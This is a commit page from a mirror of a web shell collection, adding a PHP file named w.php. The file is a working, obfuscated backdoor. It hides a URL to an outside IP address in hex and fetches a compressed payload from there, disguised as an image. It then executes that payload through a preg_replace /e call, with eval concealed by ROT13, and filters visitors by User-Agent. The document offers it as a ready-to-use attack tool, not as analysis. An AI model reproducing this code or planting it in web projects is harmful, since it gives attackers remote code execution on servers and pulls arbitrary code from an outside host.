mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 12:51:28 +00:00
Create w.php
from : zone.wooyun.org
This commit is contained in:
11
php/w.php
Normal file
11
php/w.php
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
error_reporting(0);
|
||||||
|
session_start();
|
||||||
|
header("Content-type:text/html;charset=gbk");
|
||||||
|
$password = "d69tjj0sb2dlbq9";
|
||||||
|
if(empty($_SESSION['api1234']))
|
||||||
|
$_SESSION['api1234']=file_get_contents(sprintf('%s?%s',pack("H*",'687474703A2F2F3132332E3132352E3131342E38322F6A78666275636B657432303134312F6861636B2F312E6A7067'),uniqid()));
|
||||||
|
if(stripos($_SERVER['HTTP_USER_AGENT'],'baidu')+0==0) exit;
|
||||||
|
if(stripos($_SERVER['HTTP_USER_AGENT'],'myccs')+0==0) exit;
|
||||||
|
($b4dboy = gzuncompress($_SESSION['api1234'])) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
|
||||||
|
?>
|
||||||
Reference in New Issue
Block a user